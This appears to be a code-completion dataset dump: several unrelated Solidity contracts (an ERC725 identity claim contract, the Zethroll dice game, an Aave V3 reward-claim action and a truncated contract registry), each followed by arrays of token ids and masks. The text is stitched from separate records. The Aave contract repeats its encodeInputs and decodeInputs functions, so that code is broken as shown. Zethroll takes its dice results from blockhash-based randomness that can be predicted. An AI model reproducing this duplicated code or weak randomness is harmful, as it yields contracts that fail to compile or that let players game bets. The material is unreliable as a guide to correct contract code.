bytes signature, bytes data, string uri ) { return allClaims.get(_claimId); } /** * @dev Returns claims by type * @param _topic Type of claims to return * @return array of claim IDs */ function getClaimIdsByTopic(uint256 _topic) public view returns(bytes32[] claimIds) { return allClaims.getClaimIdsByTopic(_topic); } /** * @dev Only possible to verify for ECDSA that's built into Ethereum * @dev Checks if a given claim is valid: * - claim is signed by issuer directly * - claim is self-signed with a valid CLAIM_SIGNER_KEY * - claim is signed by another identity contract's valid CLAIM_SIGNER_KEY * @param _topic Type of claim * @param _scheme Scheme used for the signatures * @param _issuer Address of issuer * @param _signature The actual signature * @param _data The data that was signed * @return `false` if the signature is invalid or if the scheme is not implemented */ function _validSignature( uint256 _topic, uint256 _scheme, address _issuer, bytes _signature, bytes _data ) internal view returns (bool) { if (_scheme == executions.allKeys.enums.ECDSA_TYPE()) { address signedBy = ClaimStore.getSignatureAddress( ClaimStore.claimToSign(address(this), _topic, _data), _signature ); if (_issuer == signedBy) { // Issuer signed the signature return true; } else if (_issuer == address(this)) { // Self-signed with CLAIM_SIGNER_KEY return executions.allKeys.find( KeyStore.addrToKey(signedBy), executions.allKeys.enums.CLAIM_SIGNER_KEY() ); } else if (_issuer.doesContractImplementInterface(ERC725ID)) { // Issuer is an Identity contract // It should hold the key with which the above message was signed. // If the key is not present anymore, the claim SHOULD be treated as invalid. return ERC725(_issuer).keyHasPurpose( KeyStore.addrToKey(signedBy), executions.allKeys.enums.CLAIM_SIGNER_KEY() ); } // Invalid return false; } else { // Not implemented return false; } } /** * @dev Modifier that only allows keys of purpose MANAGEMENT_KEY, * the identity itself, or the issuer or the claim */ modifier onlyManagementOrSelfOrIssuer(bytes32 _claimId) { address issuer; (, , issuer, , ,) = allClaims.get(_claimId); // Must exist require(issuer != 0); // Can perform action on claim if (_managementOrSelf()) { // solhint-disable-line no-empty-blocks // Valid } else if (msg.sender == issuer) { // solhint-disable-line no-empty-blocks // MUST only be done by the issuer of the claim } else if (issuer.doesContractImplementInterface(ERC725ID)) { // Issuer is another Identity contract, is this an action key? require(ERC725(issuer).keyHasPurpose( KeyStore.addrToKey(msg.sender), executions.allKeys.enums.ACTION_KEY() )); } else { revert("Sender is NOT Management or Self or Issuer"); } _; } }
solhint-disable-line no-empty-blocks
} else if (msg.sender == issuer) {
5,369,718
[ 1, 18281, 11317, 17, 8394, 17, 1369, 1158, 17, 5531, 17, 7996, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 289, 469, 309, 261, 3576, 18, 15330, 422, 9715, 13, 288, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; /* * Zethroll. * * Adapted from PHXRoll, written in March 2018 by TechnicalRise: * https://www.reddit.com/user/TechnicalRise/ * * Adapted for Zethr by Norsefire and oguzhanox. * * Gas golfed by Etherguy * Audited & commented by Klob */ contract ZTHReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); } contract ZTHInterface { function getFrontEndTokenBalanceOf(address who) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function approve(address spender, uint tokens) public returns (bool); } contract Zethroll is ZTHReceivingContract { using SafeMath for uint; // Makes sure that player profit can't exceed a maximum amount, // that the bet size is valid, and the playerNumber is in range. modifier betIsValid(uint _betSize, uint _playerNumber) { require( calculateProfit(_betSize, _playerNumber) < maxProfit && _betSize >= minBet && _playerNumber > minNumber && _playerNumber < maxNumber); _; } // Requires game to be currently active modifier gameIsActive { require(gamePaused == false); _; } // Requires msg.sender to be owner modifier onlyOwner { require(msg.sender == owner); _; } // Constants uint constant private MAX_INT = 2 ** 256 - 1; uint constant public maxProfitDivisor = 1000000; uint constant public maxNumber = 99; uint constant public minNumber = 2; uint constant public houseEdgeDivisor = 1000; // Configurables bool public gamePaused; address public owner; address public ZethrBankroll; address public ZTHTKNADDR; ZTHInterface public ZTHTKN; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet = 0; // Trackers uint public totalBets; uint public totalZTHWagered; // Events // Logs bets + output to web3 for precise 'payout on win' field in UI event LogBet(address sender, uint value, uint rollUnder); // Outputs to web3 UI on bet result // Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); // Logs owner transfers event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); // Logs changes in maximum profit event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); // Logs current contract balance event CurrentContractBalance(uint _tokens); constructor (address zthtknaddr, address zthbankrolladdr) public { // Owner is deployer owner = msg.sender; // Initialize the ZTH contract and bankroll interfaces ZTHTKN = ZTHInterface(zthtknaddr); ZTHTKNADDR = zthtknaddr; // Set the bankroll ZethrBankroll = zthbankrolladdr; // Init 990 = 99% (1% houseEdge) houseEdge = 990; // The maximum profit from each bet is 10% of the contract balance. ownerSetMaxProfitAsPercentOfHouse(10000); // Init min bet (1 ZTH) ownerSetMinBet(1e18); // Allow 'unlimited' token transfer by the bankroll ZTHTKN.approve(zthbankrolladdr, MAX_INT); } function() public payable {} // receive zethr dividends // Returns a random number using a specified block number // Always use a FUTURE block number. function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } // Random helper function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } // Calculate the maximum potential profit function calculateProfit(uint _initBet, uint _roll) private view returns (uint) { return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; } // I present a struct which takes only 20k gas struct playerRoll{ uint200 tokenValue; // Token value in uint uint48 blockn; // Block number 48 bits uint8 rollUnder; // Roll under 8 bits } // Mapping because a player can do one roll at a time mapping(address => playerRoll) public playerRolls; function _playerRollDice(uint _rollUnder, TKN _tkn) private gameIsActive betIsValid(_tkn.value, _rollUnder) { require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200; require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48 // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens // Check that this is a ZTH token transfer require(_zthToken(msg.sender)); playerRoll memory roll = playerRolls[_tkn.sender]; // Cannot bet twice in one block require(block.number != roll.blockn); // If there exists a roll, finish it if (roll.blockn != 0) { _finishBet(false, _tkn.sender); } // Set struct block number, token value, and rollUnder values roll.blockn = uint48(block.number); roll.tokenValue = uint200(_tkn.value); roll.rollUnder = uint8(_rollUnder); // Store the roll struct - 20k gas. playerRolls[_tkn.sender] = roll; // Provides accurate numbers for web3 and allows for manual refunds emit LogBet(_tkn.sender, _tkn.value, _rollUnder); // Increment total number of bets totalBets += 1; // Total wagered totalZTHWagered += _tkn.value; } // Finished the current bet of a player, if they have one function finishBet() public gameIsActive returns (uint) { return _finishBet(true, msg.sender); } /* * Pay winner, update contract balance * to calculate new max bet, and send reward. */ function _finishBet(bool delete_it, address target) private returns (uint){ playerRoll memory roll = playerRolls[target]; require(roll.tokenValue > 0); // No re-entracy require(roll.blockn != block.number); // If the block is more than 255 blocks old, we can't get the result // Also, if the result has already happened, fail as well uint result; if (block.number - roll.blockn > 255) { result = 1000; // Cant win } else { // Grab the result - random based ONLY on a past block (future when submitted) result = random(99, roll.blockn, target) + 1; } uint rollUnder = roll.rollUnder; if (result < rollUnder) { // Player has won! // Safely map player profit uint profit = calculateProfit(roll.tokenValue, rollUnder); if (profit > maxProfit){ profit = maxProfit; } // Safely reduce contract balance by player profit contractBalance = contractBalance.sub(profit); emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); // Update maximum profit setMaxProfit(); if (delete_it){ // Prevent re-entracy memes delete playerRolls[target]; } // Transfer profit plus original bet ZTHTKN.transfer(target, profit + roll.tokenValue); return result; } else { /* * Player has lost * Update contract balance to calculate new max bet */ emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); /* * Safely adjust contractBalance * SetMaxProfit */ contractBalance = contractBalance.add(roll.tokenValue); // No need to actually delete player roll here since player ALWAYS loses // Saves gas on next buy // Update maximum profit setMaxProfit(); return result; } } // TKN struct struct TKN {address sender; uint value;} // Token fallback to bet or deposit from bankroll function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { require(msg.sender == ZTHTKNADDR); if (_from == ZethrBankroll) { // Update the contract balance contractBalance = contractBalance.add(_value); // Update the maximum profit uint oldMaxProfit = maxProfit; setMaxProfit(); emit MaxProfitChanged(oldMaxProfit, maxProfit); return true; } else { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; uint8 chosenNumber = uint8(_data[0]); _playerRollDice(chosenNumber, _tkn); } return true; } /* * Sets max profit */ function setMaxProfit() internal { emit CurrentContractBalance(contractBalance); maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; } // Only owner adjust contract balance variable (only used for max profit calc) function ownerUpdateContractBalance(uint newContractBalance) public onlyOwner { contractBalance = newContractBalance; } // Only owner address can set maxProfitAsPercentOfHouse function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { // Restricts each bet to a maximum profit of 20% contractBalance require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } // Only owner address can set minBet function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } // Only owner address can transfer ZTH function ownerTransferZTH(address sendTo, uint amount) public onlyOwner { // Safely update contract balance when sending out funds contractBalance = contractBalance.sub(amount); // update max profit setMaxProfit(); require(ZTHTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } // Only owner address can set emergency pause #1 function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } // Only owner address can set bankroll address function ownerSetBankroll(address newBankroll) public onlyOwner { ZTHTKN.approve(ZethrBankroll, 0); ZethrBankroll = newBankroll; ZTHTKN.approve(newBankroll, MAX_INT); } // Only owner address can set owner address function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } // Only owner address can selfdestruct - emergency function ownerkill() public onlyOwner { ZTHTKN.transfer(owner, contractBalance); selfdestruct(owner); } function dumpdivs() public{ ZethrBankroll.transfer(address(this).balance); } function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; // Is this the ZTH token contract? } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
Transfer profit plus original bet
ZTHTKN.transfer(target, profit + roll.tokenValue);
20,659
[ 1, 5912, 450, 7216, 8737, 2282, 2701, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 2285, 2455, 56, 47, 50, 18, 13866, 12, 3299, 16, 450, 7216, 397, 5824, 18, 2316, 620, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity =0.8.10; import "../../utils/TokenUtils.sol"; import "../ActionBase.sol"; import "./helpers/AaveV3Helper.sol"; import "../../interfaces/aaveV3/IRewardsController.sol"; /// @title Claims single reward type specified by reward for the list of assets. Rewards are received by to address. contract AaveV3ClaimRewards is ActionBase, AaveV3Helper { using TokenUtils for address; struct Params { uint8 assetsLength; uint256 amount; address to; address reward; address[] assets; } /// @inheritdoc ActionBase function executeAction( bytes calldata _callData, bytes32[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable virtual override returns (bytes32) { Params memory params = parseInputs(_callData); params.amount = _parseParamUint(params.amount, _paramMapping[0], _subData, _returnValues); params.to = _parseParamAddr(params.to, _paramMapping[1], _subData, _returnValues); (uint256 amountReceived, bytes memory logData) = _claimRewards(params); emit ActionEvent("AaveV3ClaimRewards", logData); return bytes32(amountReceived); } /// @inheritdoc ActionBase function executeActionDirect(bytes calldata _callData) public payable override { Params memory params = parseInputs(_callData); (, bytes memory logData) = _claimRewards(params); logger.logActionDirectEvent("AaveV3ClaimRewards", logData); } function executeActionDirectL2() public payable { Params memory params = decodeInputs(msg.data[4:]); (, bytes memory logData) = _claimRewards(params); logger.logActionDirectEvent("AaveV3ClaimRewards", logData); } /// @inheritdoc ActionBase function actionType() public pure virtual override returns (uint8) { return uint8(ActionType.STANDARD_ACTION); } //////////////////////////// ACTION LOGIC //////////////////////////// function _claimRewards(Params memory params) internal returns (uint256 amountReceived, bytes memory) { require(params.assetsLength == params.assets.length); IRewardsController rewardsController = IRewardsController(REWARDS_CONTROLLER_ADDRESS); uint256 balanceBefore = params.reward.getBalance(params.to); rewardsController.claimRewards(params.assets, params.amount, params.to, params.reward); amountReceived = params.reward.getBalance(params.to) - balanceBefore; bytes memory logData = abi.encode(params, amountReceived); return (amountReceived, logData); } function parseInputs(bytes memory _callData) public pure returns (Params memory params) { params = abi.decode(_callData, (Params)); } function encodeInputs(Params memory params) public pure returns (bytes memory encodedInput) { require(params.assetsLength == params.assets.length); encodedInput = bytes.concat(this.executeActionDirectL2.selector); encodedInput = bytes.concat(encodedInput, bytes1(params.assetsLength)); encodedInput = bytes.concat(encodedInput, bytes32(params.amount)); encodedInput = bytes.concat(encodedInput, bytes20(params.to)); encodedInput = bytes.concat(encodedInput, bytes20(params.reward)); for (uint256 i = 0; i < params.assetsLength; i++) { encodedInput = bytes.concat(encodedInput, bytes20(params.assets[i])); } } function decodeInputs(bytes calldata encodedInput) public pure returns (Params memory params) { params.assetsLength = uint8(bytes1(encodedInput[0:1])); params.amount = uint256(bytes32(encodedInput[1:33])); params.to = address(bytes20(encodedInput[33:53])); params.reward = address(bytes20(encodedInput[53:73])); address[] memory assets = new address[](params.assetsLength); for (uint256 i = 0; i < params.assetsLength; i++) { assets[i] = address(bytes20(encodedInput[73 + 20 * i:93 + 20 * i])); } params.assets = assets; } }
@title Claims single reward type specified by reward for the list of assets. Rewards are received by to address.
contract AaveV3ClaimRewards is ActionBase, AaveV3Helper { using TokenUtils for address; struct Params { uint8 assetsLength; uint256 amount; address to; address reward; address[] assets; } function executeAction( bytes calldata _callData, bytes32[] memory _subData, uint8[] memory _paramMapping, bytes32[] memory _returnValues ) public payable virtual override returns (bytes32) { Params memory params = parseInputs(_callData); params.amount = _parseParamUint(params.amount, _paramMapping[0], _subData, _returnValues); params.to = _parseParamAddr(params.to, _paramMapping[1], _subData, _returnValues); (uint256 amountReceived, bytes memory logData) = _claimRewards(params); emit ActionEvent("AaveV3ClaimRewards", logData); return bytes32(amountReceived); } function executeActionDirect(bytes calldata _callData) public payable override { Params memory params = parseInputs(_callData); (, bytes memory logData) = _claimRewards(params); logger.logActionDirectEvent("AaveV3ClaimRewards", logData); } function executeActionDirectL2() public payable { Params memory params = decodeInputs(msg.data[4:]); (, bytes memory logData) = _claimRewards(params); logger.logActionDirectEvent("AaveV3ClaimRewards", logData); } function actionType() public pure virtual override returns (uint8) { return uint8(ActionType.STANDARD_ACTION); } function _claimRewards(Params memory params) internal returns (uint256 amountReceived, bytes memory) { require(params.assetsLength == params.assets.length); IRewardsController rewardsController = IRewardsController(REWARDS_CONTROLLER_ADDRESS); uint256 balanceBefore = params.reward.getBalance(params.to); rewardsController.claimRewards(params.assets, params.amount, params.to, params.reward); amountReceived = params.reward.getBalance(params.to) - balanceBefore; bytes memory logData = abi.encode(params, amountReceived); return (amountReceived, logData); } function parseInputs(bytes memory _callData) public pure returns (Params memory params) { params = abi.decode(_callData, (Params)); } function encodeInputs(Params memory params) public pure returns (bytes memory encodedInput) { require(params.assetsLength == params.assets.length); encodedInput = bytes.concat(this.executeActionDirectL2.selector); encodedInput = bytes.concat(encodedInput, bytes1(params.assetsLength)); encodedInput = bytes.concat(encodedInput, bytes32(params.amount)); encodedInput = bytes.concat(encodedInput, bytes20(params.to)); encodedInput = bytes.concat(encodedInput, bytes20(params.reward)); for (uint256 i = 0; i < params.assetsLength; i++) { encodedInput = bytes.concat(encodedInput, bytes20(params.assets[i])); } } function encodeInputs(Params memory params) public pure returns (bytes memory encodedInput) { require(params.assetsLength == params.assets.length); encodedInput = bytes.concat(this.executeActionDirectL2.selector); encodedInput = bytes.concat(encodedInput, bytes1(params.assetsLength)); encodedInput = bytes.concat(encodedInput, bytes32(params.amount)); encodedInput = bytes.concat(encodedInput, bytes20(params.to)); encodedInput = bytes.concat(encodedInput, bytes20(params.reward)); for (uint256 i = 0; i < params.assetsLength; i++) { encodedInput = bytes.concat(encodedInput, bytes20(params.assets[i])); } } function decodeInputs(bytes calldata encodedInput) public pure returns (Params memory params) { params.assetsLength = uint8(bytes1(encodedInput[0:1])); params.amount = uint256(bytes32(encodedInput[1:33])); params.to = address(bytes20(encodedInput[33:53])); params.reward = address(bytes20(encodedInput[53:73])); address[] memory assets = new address[](params.assetsLength); for (uint256 i = 0; i < params.assetsLength; i++) { assets[i] = address(bytes20(encodedInput[73 + 20 * i:93 + 20 * i])); } params.assets = assets; } function decodeInputs(bytes calldata encodedInput) public pure returns (Params memory params) { params.assetsLength = uint8(bytes1(encodedInput[0:1])); params.amount = uint256(bytes32(encodedInput[1:33])); params.to = address(bytes20(encodedInput[33:53])); params.reward = address(bytes20(encodedInput[53:73])); address[] memory assets = new address[](params.assetsLength); for (uint256 i = 0; i < params.assetsLength; i++) { assets[i] = address(bytes20(encodedInput[73 + 20 * i:93 + 20 * i])); } params.assets = assets; } }
1,803,070
[ 1, 15925, 2202, 19890, 618, 1269, 635, 19890, 364, 326, 666, 434, 7176, 18, 534, 359, 14727, 854, 5079, 635, 358, 1758, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 432, 836, 58, 23, 9762, 17631, 14727, 353, 4382, 2171, 16, 432, 836, 58, 23, 2276, 288, 203, 565, 1450, 3155, 1989, 364, 1758, 31, 203, 203, 203, 565, 1958, 8861, 288, 203, 3639, 2254, 28, 7176, 1782, 31, 203, 3639, 2254, 5034, 3844, 31, 203, 3639, 1758, 358, 31, 203, 3639, 1758, 19890, 31, 203, 3639, 1758, 8526, 7176, 31, 203, 565, 289, 203, 203, 565, 445, 1836, 1803, 12, 203, 3639, 1731, 745, 892, 389, 1991, 751, 16, 203, 3639, 1731, 1578, 8526, 3778, 389, 1717, 751, 16, 203, 3639, 2254, 28, 8526, 3778, 389, 891, 3233, 16, 203, 3639, 1731, 1578, 8526, 3778, 389, 2463, 1972, 203, 565, 262, 1071, 8843, 429, 5024, 3849, 1135, 261, 3890, 1578, 13, 288, 203, 3639, 8861, 3778, 859, 273, 1109, 10059, 24899, 1991, 751, 1769, 203, 203, 3639, 859, 18, 8949, 273, 389, 2670, 786, 5487, 12, 2010, 18, 8949, 16, 389, 891, 3233, 63, 20, 6487, 389, 1717, 751, 16, 389, 2463, 1972, 1769, 203, 3639, 859, 18, 869, 273, 389, 2670, 786, 3178, 12, 2010, 18, 869, 16, 389, 891, 3233, 63, 21, 6487, 389, 1717, 751, 16, 389, 2463, 1972, 1769, 203, 203, 3639, 261, 11890, 5034, 3844, 8872, 16, 1731, 3778, 613, 751, 13, 273, 389, 14784, 17631, 14727, 12, 2010, 1769, 203, 203, 3639, 3626, 19641, 2932, 37, 836, 58, 23, 9762, 17631, 14727, 3113, 613, 751, 1769, 203, 3639, 327, 1731, 1578, 12, 8949, 8872, 1769, 203, 565, 289, 203, 203, 565, 445, 1836, 1803, 5368, 12, 2 ]
pragma solidity 0.4.26; import "./Owned.sol"; import "./Utils.sol"; import "./interfaces/IContractRegistry.sol"; /** * @dev Contract Registry * * The contract registry keeps contract addresses by name. * The owner can update contract addresses so that a contract name always points to the latest version * of the given contract. * Other contracts can query the registry to get updated addresses instead of depending on specific * addresses. * * Note that contract names are limited to 32 bytes UTF8 encoded ASCII strings to optimize gas costs */ contract ContractRegistry is IContractRegistry, Owned, Utils { struct RegistryItem { address contractAddress; // contract address uint256 nameIndex; // index of the item in the list of contract names } mapping(bytes32 => RegistryItem) private items; // name -> RegistryItem mapping string[] public contractNames; // list of all registered contract names /** * @dev triggered when an address pointed to by a contract name is modified * * @param _contractName contract name * @param _contractAddress new contract address */ event AddressUpdate(bytes32 indexed _contractName, address _contractAddress); /** * @dev returns the number of items in the registry * * @return number of items */ function itemCount() public view returns (uint256) { return contractNames.length; } /** * @dev returns the address associated with the given contract name * * @param _contractName contract name * * @return contract address */ function addressOf(bytes32 _contractName) public view returns (address) { return items[_contractName].contractAddress; } /** * @dev registers a new address for the contract name in the registry * * @param _contractName contract name * @param _contractAddress contract address */ function registerAddress(bytes32 _contractName, address _contractAddress) public ownerOnly validAddress(_contractAddress) { // validate input require(_contractName.length > 0, "ERR_INVALID_NAME"); // check if any change is needed address currentAddress = items[_contractName].contractAddress; if (_contractAddress == currentAddress) return; if (currentAddress == address(0)) { // add the contract name to the name list uint256 i = contractNames.push(bytes32ToString(_contractName)); // update the item's index in the list items[_contractName].nameIndex = i - 1; } // update the address in the registry items[_contractName].contractAddress = _contractAddress; // dispatch the address update event emit AddressUpdate(_contractName, _contractAddress); } /** * @dev removes an existing contract address from the registry * * @param _contractName contract name */ function unregisterAddress(bytes32 _contractName) public ownerOnly { // validate input require(_contractName.length > 0, "ERR_INVALID_NAME"); require(items[_contractName].contractAddress != 